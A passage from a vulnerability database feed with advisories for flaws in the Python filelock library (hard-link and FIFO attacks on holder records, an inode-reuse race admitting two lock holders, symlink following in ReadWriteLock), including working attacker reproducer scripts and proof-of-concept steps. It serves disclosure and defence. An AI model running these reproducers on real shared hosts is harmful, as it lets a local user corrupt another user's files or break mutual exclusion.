holders/ and search permission on /home/victim, nothing on the file itself.\nos.link(VICTIM_FILE, f\"{HOLDERS}/link\")\nos.rename(f\"{HOLDERS}/link\", f\"{HOLDERS}/{victim_token}\")\nprint(victim_token)\n```\n\n**`repro.d/victim_app.py`**\n\n```python\nimport time\n\nfrom filelock import SoftReadWriteLock, Timeout\n\nstarted = time.monotonic()\ntry:\n    with SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2):\n        print(\"got the write lock\")\nexcept Timeout:\n    print(f\"Timeout after {time.monotonic() - started:.1f} s\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other local user (owns /tmp/app.lock.rw)\n    participant V as lock user (write_lock, timeout=2)\n    participant H as holders/ (owned by the other user, 0777)\n    participant T as /home/victim/accounts.csv (0600)\n    rect rgb(255, 214, 214)\n        Note over A,T: filelock 4.0.0 to 4.2.0\n        A->>H: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer\n        V->>H: publish(), create(holders/token) with O_CREAT O_EXCL, write the record, close\n        A->>H: read the token from the listing\n        A->>T: link(accounts.csv, holders/link), needs fs.protected_hardlinks=0\n        A->>H: rename(holders/link, holders/token)\n        V->>H: poll, _refresh_nonce(), overwrite() opens holders/token by name with O_WRONLY O_NOFOLLOW, no fstat\n        V->>T: write_all at offset 0, the first 135 bytes of accounts.csv are now the holder record\n        V->>H: Timeout after 2.0 s, leave() unlinks holders/token (the link)\n        Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link\n        V->>H: overwrite() opens the FIFO without O_NONBLOCK and sleeps until a reader appears\n        Note over V,H: write_lock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and on_compromise does not run\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root and starts each party under its own account with `runuser`. It writes `0` to `/proc/sys/fs/protected_hardlinks` for the run (restored afterwards; this is why it needs the privileged container), creates `/home/victim/accounts.csv` (20 lines of CSV, owner `victim`, mode `0600`) and shows that `attacker` cannot write it. Then `attacker_creates_lock_tree_first.py` creates `/tmp/app.lock.rw`, `gen/` and `holders/` with mode `0777` and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. `victim_app.py` runs `SoftReadWriteLock(\"/tmp/app.lock\").write_lock(timeout=2)`. `attacker_plants_hard_link.py` waits for the lock user's record to appear in `holders/`, hard-links `accounts.csv` beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):\n\n```\nCONTROL  attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied\nvictim app: Timeout after 2.0 s\nattacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv\nOBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins:\nfilelock-rw/1\ntoken=42cc890a86c300dd889f1376d9995abf\npid=131\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=293a8c7462249a2e9bf283a793bb5f45\n000\ncustomer-007,1000\n...\nBUG\n```\n\nThe reproducer prints `BUG` only if the file now begins with `filelock-rw/1\\ntoken=<the token the other user replaced>\\n`, the holder record the lock user's own `OsFiles.overwrite()` wrote through the link. The FIFO variant is one line away (`os.mkfifo(...)` + `chmod 0o666` in place of `os.link`) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with `timeout=2`, and `kill -ABRT` prints the stack quoted above. The same run with `root` taking the lock overwrote a `0600` file in `/etc` that only root can access.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the `/tmp/app.lock.rw` owned by the other account with `RuntimeError` before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints `OK` with `accounts.csv` intact. The independent review's FIFO variant (`mkfifo` + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against `Timeout after 2.0 s` on the PR head.\n\n## Impact\n\nOn a default Linux (`fs.protected_hardlinks=1`) the reachable effect is the FIFO hang. The other user makes a lock user's `acquire_read` / `acquire_write` / `read_lock` / `write_lock` hang whatever `timeout` the caller passed. That user could already keep the lock busy, in which case the lock user gets `Timeout` on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After `stale_threshold` (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and `on_compromise` does not run.\n\nA user who owns the tree can already get a reader granted beside a live writer by writing one forged `gen/<N+1>` snapshot. What this bug adds is the acquire that outlasts its `timeout` and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.\n\nWhere the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for `SoftFileLock`), which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `<path>.rw` before anyone else can, and refuse to use a lock path whose `<path>.rw` belongs to another account.\n- Keep `fs.protected_hardlinks=1` (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 01:39 UTC: fix PR #842 opened\n- 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fj95-fr6c-h845"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112934"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/842"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112935","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-fq56-3cx3-fjxp","CVE-2026-112935"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.1.1_1"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftFileLock stale-lock break removes a live lock file on a reused inode number and admits two holders","details":"The stale-lock break shared by `SoftFileLock`, `MarkerSoftFileLock` and `SoftFileLease` (and their async variants, and a `FileLock` that has fallen back to a soft lock on `ENOSYS`, the \"not implemented\" error) recognises the marker it judged stale by two values. The marker is the lock file at `<path>`, whose presence says a process holds the lock. The values are its inode number (the kernel's identity for a file, independent of its name) and its modification time (mtime) not being newer. The check runs after the contender has already closed the marker, so nothing keeps the inode allocated.\n\nOn a filesystem that hands a freed inode number straight to the next file (ext4, xfs, overlayfs on them) the next holder's marker can carry that number. A contender still between its read and its break then renames and unlinks the live marker. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), forces this at will. It plants a marker with a stale owner record and a modification time in the future and unlinks it as soon as a contender has read it. Two processes of the user running the lock (the lock user below) then hold the same default-configured lock at once, and nothing raises or logs. Affected versions: filelock >= 3.22.0 and <= 4.2.0 (finding `ANT-2026-KIIS96IX`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race, though one the other user starts, lengthens (by making the lock user's `/proc` read slow) and retries at every release. The scanner measured 10 to 26 overlaps per 20-second run. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a sticky shared directory, ext4-style inode reuse and at least two contenders of the lock user. Our review verified it across UIDs (a UID is a user account's numeric id): the other user as uid 1001, the lock user's processes as uid 1000, BUG on 4.2.0 over ext4. The scanner rated it high (CWE-367).\n\n## Scope and preconditions\n\n- The other user can create files in the lock's directory; a root-owned `1777` directory such as `/tmp` or `/var/tmp` is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. The sticky bit stops it removing the lock user's marker (checked: `EPERM`, operation not permitted), so the lock user's own stale break does the deletion.\n- The directory is on a filesystem that hands a freed inode number straight to the next file. ext4 does (six create/unlink rounds returned one number six times, in the image's overlayfs `/tmp` and on a loop-mounted ext4), and xfs does. tmpfs returned six increasing numbers and the same run there gave no overlap, and btrfs does not hand a freed number back.\n- The lock user has at least two processes contending for the lock, and the displaced holder is still inside when the next contender polls (the breaker itself comes back one `poll_interval`, 50 ms by default, later).\n- The lock is `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` (or async forms). The default `flock`-based `FileLock` joins them only after it has fallen back to `SoftFileLock` on `ENOSYS`. `StrictSoftFileLock` does not call `break_lock_file`, so it is not affected.\n- The same overlap also occurs with no other user involved, under heavy same-account contention, when a contender breaks a dead holder's marker and a successor creates its marker within the same timestamp tick (about once in 750 crashes with 64 workers on a 2-CPU machine, not on tmpfs).\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the re-check sits in [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L118). Its callers are [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256). The reader [`_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L334) closes the judged marker before the verdict.\n\n## Introduced\n\ne35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0 (verified against the tags). Every release since, up to 4.2.0, carries the check.\n\n## Mechanism\n\n`_try_break_stale_lock` reads the marker through `_read_lock_file` (`lstat`, `O_RDONLY | O_NONBLOCK | O_NOFOLLOW` open, `fstat`, read, `close`), decides with `owner_is_stale` that the owner is gone, and calls `break_lock_file(lock_file, mtime, ino)`:\n\n```python\n# src/filelock/_util.py:113-118\nif (current := os.lstat(lock_file)).st_mtime > mtime_before or current.st_ino != ino_before:\n    return\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\n```\n\nBetween the `close` in `_read_lock_file` and the `lstat` on line 113 nothing keeps the inode allocated. An inode number identifies a file only while something holds that inode. The release path already says so (\"Our open descriptor keeps the inode allocated, so its number cannot name a successor's marker yet\"); the break path does not. That leaves the modification time, which the file's owner sets to any value and which the code compares by order. With two jobs A and B of the lock user and the other user:\n\n1. The other user creates `app.lock` (inode `I`) with the record `<its own pid>\\n<host>\\n1\\n` and sets its time to the year 2100 with `os.utime()`. A live PID with a wrong start token (the value that identifies one incarnation of a PID) is a recycled PID, so every contender judges the owner stale. On its own this marker only makes the lock user's processes wait: they cannot rename another user's file in a sticky directory (`EPERM`, and `acquire(timeout=1)` raises `Timeout`).\n2. A polls, reads `(record, mtime=2100, ino=I)`, closes the file and enters `owner_is_stale()`.\n3. The other user unlinks its marker. Inode `I` is free.\n4. B polls. The path is empty, so `O_EXCL` (create only if absent) succeeds and ext4 gives the new marker inode number `I`. B holds the lock.\n5. A reaches line 113 and looks at B's marker: its time (now) is not newer than 2100 and its inode number is `I`. A renames it (it is the lock user's own file, so the sticky bit does not object), line 117 passes for the same reason, and line 118 unlinks the live marker.\n6. The path is empty again while B is still inside. The next contender to poll, A included, creates its marker and holds the lock as well.\n\nWhen B releases, `_unlink_open_marker` finds another file at the path and leaves it alone, so neither side raises or logs anything. This is not the documented rename/link-back window: the code does not take the link-back branch and leaves no `app.lock.break.*` file behind. With a marker dated 2000, line 113 sees a newer time on B's marker and returns.\n\nThe other user does not need luck for the timing of step 3. It sees A's `close()` through inotify (a Linux facility that reports file events; here `IN_CLOSE_NOWRITE` on its own file), and it chooses how long A stays in `owner_is_stale()`. To compare the start token, `process_start_token()` reads `/proc/<pid>/stat`, and the kernel walks every thread of that process. Measured as `victim`, `owner_is_stale()` takes a median of 19 µs for a dead PID and 931 µs for a process with 8000 idle threads. Step 4 then needs another contender's 50 ms poll to fall into that millisecond, and the other user retries at every release of the lock.\n\nA forged time is not required, only convenient. File times advance in 4 ms steps, so a successor's marker created in the same step as the stale marker's last write compares equal and passes `>` / `<=` too (8, 16 and 16 overlaps in three 20-second runs with the `os.utime()` call removed, and still 9 with the comparisons changed to `!=` / `==`). Outside a container the window is wider. With a bare hostname `owner_is_stale()` goes on to `_owner_runs_elsewhere()`, which reads `/proc/<pid>/stat` of every process on the machine (7 ms with 500 processes, 45 ms with 3000, against the default 50 ms `poll_interval`). With 3000 idle processes of the other user, both jobs of the lock user were inside at once in 12 and 13 of 30 rounds.\n\n`MarkerSoftFileLock` and `SoftFileLease` read with `_read_lock_file()` and call `break_lock_file()` in the same way, and showed the same overlap when a stall held A 3 s in its `kill(pid, 0)` probe. The malformed-marker self-heal in `SoftFileLock` hands `break_lock_file()` values from the same closed descriptor. Where the lock user may rename the other user's file (it owns the sticky directory, or is root), the other user only acquires the free lock, dates the marker ahead and exits without releasing. The first contender then breaks that marker as designed and creates its own on the freed number, and a second contender that judged the planted marker before that break removes the live one. Two of the project's own tests at the scanned commit hit the same case without any other user (`test_stale_break_racing_a_successor_admits_no_third_holder`, `test_break_lock_file_leaves_a_swapped_in_symlink_aside`), failing in 10 of 14 runs on ext4.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-KIIS96IX`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nLOCK_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = f\"{LOCK_DIR}/app.lock\"\nVICTIM_JOBS = 6\nRUN_SECONDS = 20\nJAN_1_2000 = 946684800\nJAN_1_2100 = 4102444800\n\n\ndef run_victim_jobs_beside_attacker(stale_marker_mtime):\n    # set up: an empty root-owned sticky directory, like /tmp (the sticky bit stops the attacker removing victim files)\n    shutil.rmtree(LOCK_DIR, ignore_errors=True)\n    os.mkdir(LOCK_DIR)\n    os.chmod(LOCK_DIR, 0o1777)\n\n    # run: nobody is paused or traced; the attacker and the victim's jobs just run side by side\n    attacker = subprocess.Popen(\n        [sys.executable, \"/tmp/repro.d/plant_stale_markers.py\", LOCK_PATH, str(stale_marker_mtime)],\n        stdout=subprocess.PIPE,\n        text=True,\n        user=\"attacker\",\n        group=\"attacker\",\n        extra_groups=[],\n    )\n    try:\n        assert attacker.stdout.readline() == \"ready\\n\"\n        jobs = [\n            subprocess.Popen(\n                [sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH, str(RUN_SECONDS)],\n                stdout=subprocess.PIPE,\n                text=True,\n                user=\"victim\",\n                group=\"victim\",\n                extra_groups=[],\n            )\n            for _ in range(VICTIM_JOBS)\n        ]\n        holds = []\n        for number, job in enumerate(jobs):\n            output, _ = job.communicate(timeout=RUN_SECONDS + 60)\n            assert job.returncode == 0  # no Timeout or other exception reached the victim's code\n            for line in output.splitlines():\n                entered, left, is_locked = line.split()\n                assert is_locked == \"True\"  # the job believed it held the lock\n                holds.append((float(entered), float(left), f\"job{number}\"))\n    finally:\n        attacker.kill()\n        attacker.wait()\n    break_files = [name for name in os.listdir(LOCK_DIR) if \".break.\" in name]\n    return sorted(holds), break_files\n\n\ndef overlapping_holds(holds):\n    # time.monotonic() is CLOCK_MONOTONIC, one clock for every process on the host, so the intervals compare directly\n    return [\n        (first, second)\n        for index, first in enumerate(holds)\n        for second in holds[index + 1 :]\n        if second[0] < first[1]  # sorted by entry: the second entered before the first had left\n    ]\n\n\ncontrol_holds, _ = run_victim_jobs_beside_attacker(JAN_1_2000)\ncontrol_overlaps = overlapping_holds(control_holds)\nprint(f\"CONTROL  attacker's stale markers dated 2000: {len(control_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(control_overlaps)} times\")\n\nattack_holds, break_files = run_victim_jobs_beside_attacker(JAN_1_2100)\nattack_overlaps = overlapping_holds(attack_holds)\nprint(f\"OBSERVED attacker's stale markers dated 2100: {len(attack_holds)} holds by {VICTIM_JOBS} victim jobs\")\nprint(f\"  two jobs inside the lock at once: {len(attack_overlaps)} times\")\nfor (entered, left, job), (other_entered, other_left, other_job) in attack_overlaps[:3]:\n    print(f\"    {job} inside {entered:.3f}-{left:.3f}, {other_job} inside {other_entered:.3f}-{other_left:.3f}\")\n# the documented rename/link-back window of a stale break would strand a live marker as app.lock.break.*\nprint(f\"  stale-break files left in {LOCK_DIR}: {break_files}\")\n\n# check: an exclusive lock with default options must never have two holders at once\nprint(\"BUG\" if not control_overlaps and attack_overlaps else \"OK\")\n```\n\n**`repro.d/plant_stale_markers.py`**\n\n```python\n#!/usr/bin/env python3\nimport ctypes\nimport os\nimport sys\nimport threading\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, marker_mtime = sys.argv[1], int(sys.argv[2])\nIN_CLOSE_NOWRITE = 0x10\nlibc = ctypes.CDLL(None)\n\n# contenders only judge markers written on their own host, so take the host string from a marker of our own\nwith SoftFileLock(lock_path):\n    with open(lock_path) as own_marker:\n        host = own_marker.read().splitlines()[1]\n\n# <pid>\\n<host>\\n<start token>\\n: this PID is alive but its start token is not 1, so it reads as a recycled PID\n# and every contender judges the marker stale\nstale_marker = f\"{os.getpid()}\\n{host}\\n1\\n\".encode()\n\n# To compare start tokens a contender reads /proc/<pid>/stat, and the kernel walks every thread of that process:\n# with 8000 threads that is about 1 ms between the contender reading the marker and breaking it.\nthreading.stack_size(64 * 1024)\nfor _ in range(8000):\n    threading.Thread(target=threading.Event().wait, daemon=True).start()\nprint(\"ready\", flush=True)\n\nwhile True:\n    # plant the stale marker whenever the lock path is free\n    try:\n        fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    except FileExistsError:\n        time.sleep(0.0002)\n        continue\n    os.write(fd, stale_marker)\n    os.utime(fd, (marker_mtime, marker_mtime))  # a file's owner may give it any modification time\n    os.close(fd)\n\n    # once a contender has read it, unlink it: its inode number is free again for the next holder's marker\n    inotify = libc.inotify_init()\n    libc.inotify_add_watch(inotify, lock_path.encode(), IN_CLOSE_NOWRITE)\n    os.read(inotify, 4096)\n    os.unlink(lock_path)\n    os.close(inotify)\n\n    # creating anything before the next holder does would take that inode number away from it\n    while not os.path.lexists(lock_path):\n        time.sleep(0.0002)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport random\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, run_seconds = sys.argv[1], float(sys.argv[2])\n\nlock = SoftFileLock(lock_path)\nstop_at = time.monotonic() + run_seconds\nwhile time.monotonic() < stop_at:\n    with lock:\n        entered = time.monotonic()\n        time.sleep(random.uniform(0.05, 0.15))  # the work the lock protects\n        print(entered, time.monotonic(), lock.is_locked, flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant P as app.lock (root-owned 1777 dir, ext4)\n    participant A as process A of the lock user (uid 1000)\n    participant B as process B of the lock user (uid 1000)\n    X->>P: create \"livepid host 1\", utime to 2100 (inode I)\n    A->>P: open, fstat (ino I, mtime 2100), read, close\n    A->>A: owner_is_stale: recycled PID (slow: /proc read of X's 8000-thread process)\n    rect rgb(255, 214, 214)\n        X->>P: inotify IN_CLOSE_NOWRITE on own file: unlink it, I is free\n        B->>P: O_CREAT|O_EXCL: new marker gets inode I, B holds and enters\n        A->>P: lstat: mtime now <= 2100 and ino == I: rename to app.lock.break.*\n        A->>P: lstat break name: same, unlink B's live marker\n        A->>P: next poll 50 ms later: O_EXCL create, A enters beside B\n        Note over A,B: B's release finds another inode, leaves it, no error on either side\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs six `victim` jobs (uid 1000) looping `with SoftFileLock(\"/tmp/shared-locks/app.lock\"):` around 50 to 150 ms of work, printing `time.monotonic()` entry and exit and `lock.is_locked`, for 20 s. Beside them runs an `attacker` process (uid 1001) with 8000 idle threads that plants its marker whenever the path is free, waits for `IN_CLOSE_NOWRITE`, unlinks it and waits for the next `victim` marker. The control (markers dated 2000) prints `191 holds by 6 victim jobs, two jobs inside the lock at once: 0 times`. The disturbed run (dated 2100) prints `196 holds, two jobs inside the lock at once: 15 times`, for example `job3 inside 130.436-130.530, job5 inside 130.444-130.521`, with `stale-break files left in /tmp/shared-locks: []`. Six runs gave between 11 and 24 overlaps, 0 in each control, every `with` block ending without error with `is_locked == True`.\n\nAn `strace` of a landed round shows A's `close(4</tmp/app.lock>(deleted))`, B's `openat(O_WRONLY|O_CREAT|O_EXCL|...)` with `st_ino=296421`, and A's `lstat`, `rename`, `lstat`, `unlink` all on 296421, followed by B's `write(4</tmp/app.lock.break.32232.7d9f...>(deleted), ...)` and A's own create 53 ms later.\n\nOur review ran the reproducer over a loop-mounted ext4 `/tmp` inside the container (the host's btrfs does not reuse a number). Result: BUG on 4.2.0 in 43 s, with the other user as uid 1001 against the lock user's processes as uid 1000; it created and unlinked only its own file in a root-owned `1777` directory. On btrfs the same run is OK, so the condition is the filesystem's inode allocation. On the head of #843 the run was OK with 0 overlaps in 193 holds.\n\n## Impact\n\nA local user who can create files in the lock's directory puts two processes of another user inside the same default-configured `SoftFileLock`, `MarkerSoftFileLock` or `SoftFileLease` at once, with no exception, no `lifetime`, no lease expiry and no `break_lock()` involved. Two holders then write the data the lock protects. `SoftFileLock` and `MarkerSoftFileLock` holders learn nothing. A displaced `SoftFileLease` holder got `compromise.reason == \"owner-changed\"` at its first heartbeat (the periodic refresh a lease holder runs) when the second holder's marker was still at the path, and `None` after 13 s when the second holder had already released.\n\nIt is a race, but the other user controls the start and the length of the window, and each failed attempt costs the lock user's processes one poll. Under the same interference with two processes of the lock user and 20 ms critical sections, 26 of 110 holds in 60 s found their own marker unlinked (`st_nlink == 0`, no name left for the file) while inside, without two holds overlapping. Not affected: tmpfs and btrfs, a lock with a single contender, `StrictSoftFileLock`.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock's user) rather than a shared sticky directory, or place the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. `StrictSoftFileLock` is not affected.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-KIIS96IX`, scanned commit b831496b0273)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-fq56-3cx3-fjxp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112935"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112936","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-j8f7-rjxc-mr56","CVE-2026-112936"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.1.1_1"},{"fixed":"26.9.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.9","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: ReadWriteLock follows a symlink at the lock path into SQLite","details":"### Summary\n\n`ReadWriteLock` and `AsyncReadWriteLock` resolve the lock path with `pathlib.Path.resolve()` and pass it to `sqlite3.connect()` without refusing a symlink. A local user who can create names in the lock's directory, such as `/tmp` or a shared cache, can plant a symlink at the lock path and make the victim's process create, lock, or write the file it points to, or break mutual exclusion between the victim's own processes.\n\n### Details\n\n`ReadWriteLock.__init__` stores `pathlib.Path(lock_file).resolve()`, which follows a final symlink, and every connection opens that path through `sqlite3.connect()` with no `O_NOFOLLOW` or regular-file check. SQLite's own VFS also resolves the final symlink in user space, so `fs.protected_symlinks` and the sticky bit do not help: the kernel never sees a symlink to refuse. The other lock classes do not follow a final symlink: `FileLock` opens with `O_NOFOLLOW`, and `SoftReadWriteLock` coordinates through `<path>.rw/`.\n\n### Proof of concept\n\nOn Linux, with the victim and attacker as different users and `/shared` mode 1777 with `fs.protected_symlinks=1`:\n\n1. The attacker runs `ln -s /home/victim/private/pwned.flag /shared/app.rwlock.db`.\n2. The victim constructs `ReadWriteLock(\"/shared/app.rwlock.db\")`. A plain `os.open(..., O_NOFOLLOW)` on the same path fails, but the lock creates `/home/victim/private/pwned.flag`, owned by the victim, inside a directory the attacker cannot write.\n3. With `/shared/cache.rwlock.db -> /shared/a.db`, one victim process holds the write lock. The attacker repoints the link to `/shared/b.db`, and a second victim process acquires the write lock while the first still holds it.\n\nThe same behavior reproduces on macOS, on Windows 11, and through `AsyncReadWriteLock`.\n\n### Impact\n\nA local attacker with write access to the lock directory can make the victim create empty files it owns at paths the attacker cannot write, make the victim hold a SQLite lock on another application's database so that application gets `database is locked`, and give two victim processes the write lock at once, letting them corrupt the resource the lock protects.\n\n### Workarounds\n\nKeep `ReadWriteLock` paths in directories that only trusted users can write.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-j8f7-rjxc-mr56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112936"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/4d45e83caf7e31f9a12fb44526bdc07f70114f04"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.0.9"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112937","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-jqc4-5cvw-7w85","CVE-2026-112937"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.10.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","